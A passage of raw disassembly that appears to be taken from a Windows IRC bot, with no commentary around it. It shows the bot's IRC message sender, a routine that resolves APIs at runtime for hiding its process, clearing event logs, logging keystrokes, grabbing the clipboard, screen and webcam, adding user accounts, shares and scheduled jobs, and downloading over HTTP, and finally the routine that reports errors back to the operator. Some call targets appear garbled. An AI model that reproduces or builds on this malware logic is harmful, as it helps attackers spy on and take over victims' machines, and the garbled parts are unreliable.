; sub_401ACD+137Dp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8D: ; CODE XREF: sub_409A72+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B10
push 7D0h
nop
call near ptr 2650E43h
locret_409B10: ; CODE XREF: sub_409A72+91j
leave
retn
sub_409A72 endp
; =============== S U B R O U T I N E =======================================
sub_409B12 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C32
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB020, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CAF94, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CAF78, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CAE88, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CAE34, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CAE64, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CAEDC, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CAFD4, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB030, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CAE94, eax
call esi
cmp dword_4CB020, ebx
mov dword_4CAE7C, eax
jz short loc_409C10
cmp dword_4CAF94, ebx
jz short loc_409C10
cmp dword_4CAF78, ebx
jz short loc_409C10
cmp dword_4CAE88, ebx
jz short loc_409C10
cmp dword_4CAE64, ebx
jz short loc_409C10
cmp dword_4CAEDC, ebx
jz short loc_409C10
cmp dword_4CAFD4, ebx
jz short loc_409C10
cmp dword_4CB030, ebx
jz short loc_409C10
cmp dword_4CAE94, ebx
jz short loc_409C10
cmp eax, ebx
jnz short loc_409C1A
loc_409C10: ; CODE XREF: sub_409B12+B8j
; sub_409B12+C0j ...
mov dword_4CB034, 1
loc_409C1A: ; CODE XREF: sub_409B12+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CAFAC, eax
jz short loc_409C47
push 1
push ebx
call eax
jmp short loc_409C47
; ---------------------------------------------------------------------------
loc_409C32: ; CODE XREF: sub_409B12+1Dj
nop
call near ptr 2660A00h
mov dword_4CB038, eax
mov dword_4CB034, 1
loc_409C47: ; CODE XREF: sub_409B12+117j
; sub_409B12+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 2680C3Fh
mov edi, eax
cmp edi, ebx
jz loc_409D5C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CAFD0, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CAF80, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CAF14, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB024, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CAF44, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CAF64, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CAFC8, eax
call esi
cmp dword_4CAFD0, ebx
mov dword_4CAEB4, eax
jz short loc_409D00
cmp dword_4CAF80, ebx
jz short loc_409D00
cmp dword_4CAF14, ebx
jz short loc_409D00
cmp dword_4CB024, ebx
jz short loc_409D00
cmp dword_4CAF44, ebx
jz short loc_409D00
cmp dword_4CAF64, ebx
jz short loc_409D00
cmp dword_4CAFC8, ebx
jz short loc_409D00
cmp eax, ebx
jnz short loc_409D0A
loc_409D00: ; CODE XREF: sub_409B12+1B8j
; sub_409B12+1C0j ...
mov dword_4CB03C, 1
loc_409D0A: ; CODE XREF: sub_409B12+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CAF40, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CAE48, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CAF10, eax
call esi
cmp dword_4CAF40, ebx
mov dword_4CAEF8, eax
jz short loc_409D67
cmp dword_4CAE48, ebx
jz short loc_409D67
cmp dword_4CAF10, ebx
jz short loc_409D67
cmp eax, ebx
jnz short loc_409D71
jmp short loc_409D67
; ---------------------------------------------------------------------------
loc_409D5C: ; CODE XREF: sub_409B12+144j
nop
call near ptr 2660A00h
mov dword_4CB040, eax
loc_409D67: ; CODE XREF: sub_409B12+232j
; sub_409B12+23Aj ...
mov dword_4CB03C, 1
loc_409D71: ; CODE XREF: sub_409B12+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2A
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CAFE4, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CAF28, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CAF98, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CAE74, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CAED8, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CAF50, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CAEF4, eax
call esi
cmp dword_4CAFE4, ebx
mov dword_4CAF04, eax
jz short loc_409E1A
cmp dword_4CAF28, ebx
jz short loc_409E1A
cmp dword_4CAF98, ebx
jz short loc_409E1A
cmp dword_4CAE74, ebx
jz short loc_409E1A
cmp dword_4CAED8, ebx
jz short loc_409E1A
cmp dword_4CAF50, ebx
jnz short loc_409E24
loc_409E1A: ; CODE XREF: sub_409B12+2DEj
; sub_409B12+2E6j ...
mov dword_4CB044, 1
loc_409E24: ; CODE XREF: sub_409B12+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CAF58, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CAF30, eax
call esi
cmp dword_4CAF58, ebx
mov dword_4CAFE0, eax
jz short loc_409E5F
cmp dword_4CAF30, ebx
jz short loc_409E5F
cmp eax, ebx
jnz short loc_409E69
loc_409E5F: ; CODE XREF: sub_409B12+33Fj
; sub_409B12+347j
mov dword_4CB044, 1
loc_409E69: ; CODE XREF: sub_409B12+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CAF68, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CAE50, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CAE58, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CAEBC, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CAEC0, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CAE6C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CAF34, eax
call esi
cmp dword_4CAF68, ebx
mov dword_4CAE5C, eax
jz short loc_409F0D
cmp dword_4CAE50, ebx
jz short loc_409F0D
cmp dword_4CAE58, ebx
jz short loc_409F0D
cmp dword_4CAEBC, ebx
jz short loc_409F0D
cmp dword_4CAEC0, ebx
jz short loc_409F0D
cmp dword_4CAE6C, ebx
jz short loc_409F0D
cmp dword_4CAF34, ebx
jz short loc_409F0D
cmp eax, ebx
jnz short loc_409F17
loc_409F0D: ; CODE XREF: sub_409B12+3C5j
; sub_409B12+3CDj ...
mov dword_4CB044, 1
loc_409F17: ; CODE XREF: sub_409B12+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CAE54, eax
jnz short loc_409F3F
jmp short loc_409F35
; ---------------------------------------------------------------------------
loc_409F2A: ; CODE XREF: sub_409B12+26Aj
nop
call near ptr 2660A00h
mov dword_4CB048, eax
loc_409F35: ; CODE XREF: sub_409B12+416j
mov dword_4CB044, 1
loc_409F3F: ; CODE XREF: sub_409B12+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00B
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CAF60, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CAFB8, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CAFC0, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CAF7C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CAE98, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CAE44, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CAFBC, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CAE30, eax
call esi
cmp dword_4CAF60, ebx
mov dword_4CAED0, eax
jz short loc_40A016
cmp dword_4CAFB8, ebx
jz short loc_40A016
cmp dword_4CAFC0, ebx
jz short loc_40A016
cmp dword_4CAF7C, ebx
jz short loc_40A016
cmp dword_4CAE98, ebx
jz short loc_40A016
cmp dword_4CAE44, ebx
jz short loc_40A016
cmp dword_4CAFBC, ebx
jz short loc_40A016
cmp dword_4CAE30, ebx
jz short loc_40A016
cmp eax, ebx
jnz short loc_40A020
jmp short loc_40A016
; ---------------------------------------------------------------------------
loc_40A00B: ; CODE XREF: sub_409B12+438j
nop
call near ptr 2660A00h
mov dword_4CB050, eax
loc_40A016: ; CODE XREF: sub_409B12+4B9j
; sub_409B12+4C1j ...
mov dword_4CB04C, 1
loc_40A020: ; CODE XREF: sub_409B12+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DC
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CAEE4, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB018, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CAE84, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CAE60, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CAF20, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CAF08, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CAECC, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CAFF4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB010, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CAF1C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB000, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CAFB4, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CAF74, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CAF70, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CAEA4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CAE9C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CAFC4, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CAFD8, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CAF8C, eax
call esi
mov dword_4CAF4C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CAFA0, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CAF5C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CAF9C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB008, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CAF54, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CAF18, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CAF88, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CAFF8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CAF2C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CAEC8, eax
call esi
cmp dword_4CAEE4, ebx
mov dword_4CB00C, eax
jz loc_40A2E7
cmp dword_4CB018, ebx
jz loc_40A2E7
cmp dword_4CAE84, ebx
jz loc_40A2E7
cmp dword_4CAF20, ebx
jz loc_40A2E7
cmp dword_4CAF08, ebx
jz loc_40A2E7
cmp dword_4CAECC, ebx
jz loc_40A2E7
cmp dword_4CAFF4, ebx
jz loc_40A2E7
cmp dword_4CB010, ebx
jz loc_40A2E7
cmp dword_4CAF1C, ebx
jz loc_40A2E7
cmp dword_4CB000, ebx
jz loc_40A2E7
cmp dword_4CAFB4, ebx
jz loc_40A2E7
cmp dword_4CAF74, ebx
jz loc_40A2E7
cmp dword_4CAF70, ebx
jz loc_40A2E7
cmp dword_4CAEA4, ebx
jz short loc_40A2E7
cmp dword_4CAFC4, ebx
jz short loc_40A2E7
cmp dword_4CAFD8, ebx
jz short loc_40A2E7
cmp dword_4CAF8C, ebx
jz short loc_40A2E7
cmp dword_4CAF4C, ebx
jz short loc_40A2E7
cmp dword_4CAFA0, ebx
jz short loc_40A2E7
cmp dword_4CAF5C, ebx
jz short loc_40A2E7
cmp dword_4CAF9C, ebx
jz short loc_40A2E7
cmp dword_4CB008, ebx
jz short loc_40A2E7
cmp dword_4CAF54, ebx
jz short loc_40A2E7
cmp dword_4CAF18, ebx
jz short loc_40A2E7
cmp dword_4CAF88, ebx
jz short loc_40A2E7
cmp dword_4CAFF8, ebx
jz short loc_40A2E7
cmp dword_4CAF2C, ebx
jz short loc_40A2E7
cmp eax, ebx
jnz short loc_40A2F1
jmp short loc_40A2E7
; ---------------------------------------------------------------------------
loc_40A2DC: ; CODE XREF: sub_409B12+51Fj
nop
call near ptr 2660A00h
mov dword_4CB058, eax
loc_40A2E7: ; CODE XREF: sub_409B12+6BEj
; sub_409B12+6CAj ...
mov dword_4CB054, 1
loc_40A2F1: ; CODE XREF: sub_409B12+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F6
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CAEB0, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CAE38, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CAF3C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CAEE8, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CAF48, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CAF0C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CAE78, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CAE70, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CAE80, eax
call esi
cmp dword_4CAEB0, ebx
mov ecx, dword_4CAF0C
mov dword_4CAFA8, eax
jz short loc_40A3D2
cmp dword_4CAE38, ebx
jz short loc_40A3D2
cmp dword_4CAF3C, ebx
jz short loc_40A3D2
cmp dword_4CAEE8, ebx
jz short loc_40A3D2
cmp dword_4CAF48, ebx
jz short loc_40A3D2
cmp ecx, ebx
jz short loc_40A3D2
cmp dword_4CAE78, ebx
jz short loc_40A3D2
cmp dword_4CAE70, ebx
jz short loc_40A3D2
cmp dword_4CAE80, ebx
jz short loc_40A3D2
cmp eax, ebx
jnz short loc_40A3DC
loc_40A3D2: ; CODE XREF: sub_409B12+87Ej
; sub_409B12+886j ...
mov dword_4CB05C, 1
loc_40A3DC: ; CODE XREF: sub_409B12+8BEj
cmp ecx, ebx
jz short loc_40A411
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CAF24, eax
jnz short loc_40A411
jmp short loc_40A40B
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_409B12+7EAj
nop
call near ptr 2660A00h
mov dword_4CB060, eax
mov dword_4CB05C, 1
loc_40A40B: ; CODE XREF: sub_409B12+8E2j
mov dword_4CAF24, ebx
loc_40A411: ; CODE XREF: sub_409B12+8CCj
; sub_409B12+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45B
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CAEFC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB02C, eax
call esi
cmp dword_4CAEFC, ebx
mov dword_4CAE8C, eax
jz short loc_40A466
cmp dword_4CB02C, ebx
jz short loc_40A466
cmp eax, ebx
jnz short loc_40A470
jmp short loc_40A466
; ---------------------------------------------------------------------------
loc_40A45B: ; CODE XREF: sub_409B12+90Aj
call near ptr 2660A00h
nop
mov dword_4CB068, eax
loc_40A466: ; CODE XREF: sub_409B12+939j
; sub_409B12+941j ...
mov dword_4CB064, 1
loc_40A470: ; CODE XREF: sub_409B12+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A577
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CAE68, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CAE40, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CAEB8, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CAEEC, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB004, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CAEA0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CAE4C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CAE3C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CAED4, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CAFCC, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CAF84, eax
call esi
cmp dword_4CAE68, ebx
mov dword_4CAEA8, eax
jz short loc_40A582
cmp dword_4CAE40, ebx
jz short loc_40A582
cmp dword_4CAEB8, ebx
jz short loc_40A582
cmp dword_4CAEEC, ebx
jz short loc_40A582
cmp dword_4CB004, ebx
jz short loc_40A582
cmp dword_4CAEA0, ebx
jz short loc_40A582
cmp dword_4CAE4C, ebx
jz short loc_40A582
cmp dword_4CAE3C, ebx
jz short loc_40A582
cmp dword_4CAED4, ebx
jz short loc_40A582
cmp dword_4CAFCC, ebx
jz short loc_40A582
cmp dword_4CAF84, ebx
jnz short loc_40A58C
jmp short loc_40A582
; ---------------------------------------------------------------------------
loc_40A577: ; CODE XREF: sub_409B12+969j
nop
call near ptr 2660A00h
mov dword_4CB070, eax
loc_40A582: ; CODE XREF: sub_409B12+A11j
; sub_409B12+A19j ...
mov dword_4CB06C, 1
loc_40A58C: ; CODE XREF: sub_409B12+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C1
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CAE90, eax
call esi
cmp dword_4CAE90, ebx
mov dword_4CAF6C, eax
jz short loc_40A5CC
cmp eax, ebx
jnz short loc_40A5D6
jmp short loc_40A5CC
; ---------------------------------------------------------------------------
loc_40A5C1: ; CODE XREF: sub_409B12+A85j
call near ptr 2660A00h
nop
mov dword_4CB078, eax
loc_40A5CC: ; CODE XREF: sub_409B12+AA7j
; sub_409B12+AADj
mov dword_4CB074, 1
loc_40A5D6: ; CODE XREF: sub_409B12+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60B
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CAFF0, eax
call esi
cmp dword_4CAFF0, ebx
mov dword_4CAFEC, eax
jz short loc_40A616
cmp eax, ebx
jnz short loc_40A620
jmp short loc_40A616
; ---------------------------------------------------------------------------
loc_40A60B: ; CODE XREF: sub_409B12+ACFj
nop
call near ptr 2660A00h
mov dword_4CB080, eax
loc_40A616: ; CODE XREF: sub_409B12+AF1j
; sub_409B12+AF7j
mov dword_4CB07C, 1
loc_40A620: ; CODE XREF: sub_409B12+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A67F
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB01C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB014, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CAFDC, eax
call esi
cmp dword_4CB01C, ebx
mov dword_4CAEAC, eax
jz short loc_40A68A
cmp dword_4CB014, ebx
jz short loc_40A68A
cmp dword_4CAFDC, ebx
jz short loc_40A68A
cmp eax, ebx
jnz short loc_40A694
jmp short loc_40A68A
; ---------------------------------------------------------------------------
loc_40A67F: ; CODE XREF: sub_409B12+B19j
nop
call near ptr 2660A00h
mov dword_4CB088, eax
loc_40A68A: ; CODE XREF: sub_409B12+B55j
; sub_409B12+B5Dj ...
mov dword_4CB084, 1
loc_40A694: ; CODE XREF: sub_409B12+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6C9
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CAEE0, eax
call esi
cmp dword_4CAEE0, ebx
mov dword_4CAFE8, eax
jz short loc_40A6D4
cmp eax, ebx
jnz short loc_40A6DE
jmp short loc_40A6D4
; ---------------------------------------------------------------------------
loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj
nop
call near ptr 2660A00h
mov dword_4CB090, eax
loc_40A6D4: ; CODE XREF: sub_409B12+BAFj
; sub_409B12+BB5j
mov dword_4CB08C, 1
loc_40A6DE: ; CODE XREF: sub_409B12+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A767
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CAFB0, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CAFFC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CAF38, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CAEF0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CAF90, eax
call esi
cmp dword_4CAFB0, ebx
mov dword_4CAF00, eax
jz short loc_40A772
cmp dword_4CAFFC, ebx
jz short loc_40A772
cmp dword_4CAF38, ebx
jz short loc_40A772
cmp dword_4CAEF0, ebx
jz short loc_40A772
cmp dword_4CAF90, ebx
jz short loc_40A772
cmp eax, ebx
jnz short loc_40A77C
jmp short loc_40A772
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_409B12+BD7j
call near ptr 2660A00h
nop
mov dword_4CB098, eax
loc_40A772: ; CODE XREF: sub_409B12+C2Dj
; sub_409B12+C35j ...
mov dword_4CB094, 1
loc_40A77C: ; CODE XREF: sub_409B12+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B1
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CAEC4, eax
call esi
cmp dword_4CAEC4, ebx
mov dword_4CAFA4, eax
jz short loc_40A7BC
cmp eax, ebx
jnz short loc_40A7C6
jmp short loc_40A7BC
; ---------------------------------------------------------------------------
loc_40A7B1: ; CODE XREF: sub_409B12+C75j
nop
call near ptr 2660A00h
mov dword_4CB0A0, eax
loc_40A7BC: ; CODE XREF: sub_409B12+C97j
; sub_409B12+C9Dj
mov dword_4CB09C, 1
loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB034, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A816
push dword_4CB038
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A816: ; CODE XREF: sub_40A7CE+1Aj
cmp dword_4CB03C, esi
jz short loc_40A84A
push dword_4CB040
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej
cmp dword_4CB044, esi
jz short loc_40A87E
push dword_4CB048
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A87E: ; CODE XREF: sub_40A7CE+82j
cmp dword_4CB04C, esi
jz short loc_40A8B2
push dword_4CB050
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j
cmp dword_4CB054, esi
jz short loc_40A8E6
push dword_4CB058
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj
cmp dword_4CB05C, esi
jz short loc_40A91A
push dword_4CB060
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej
cmp dword_4CB064, esi
jz short loc_40A94E
push dword_4CB068
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B886
push esi
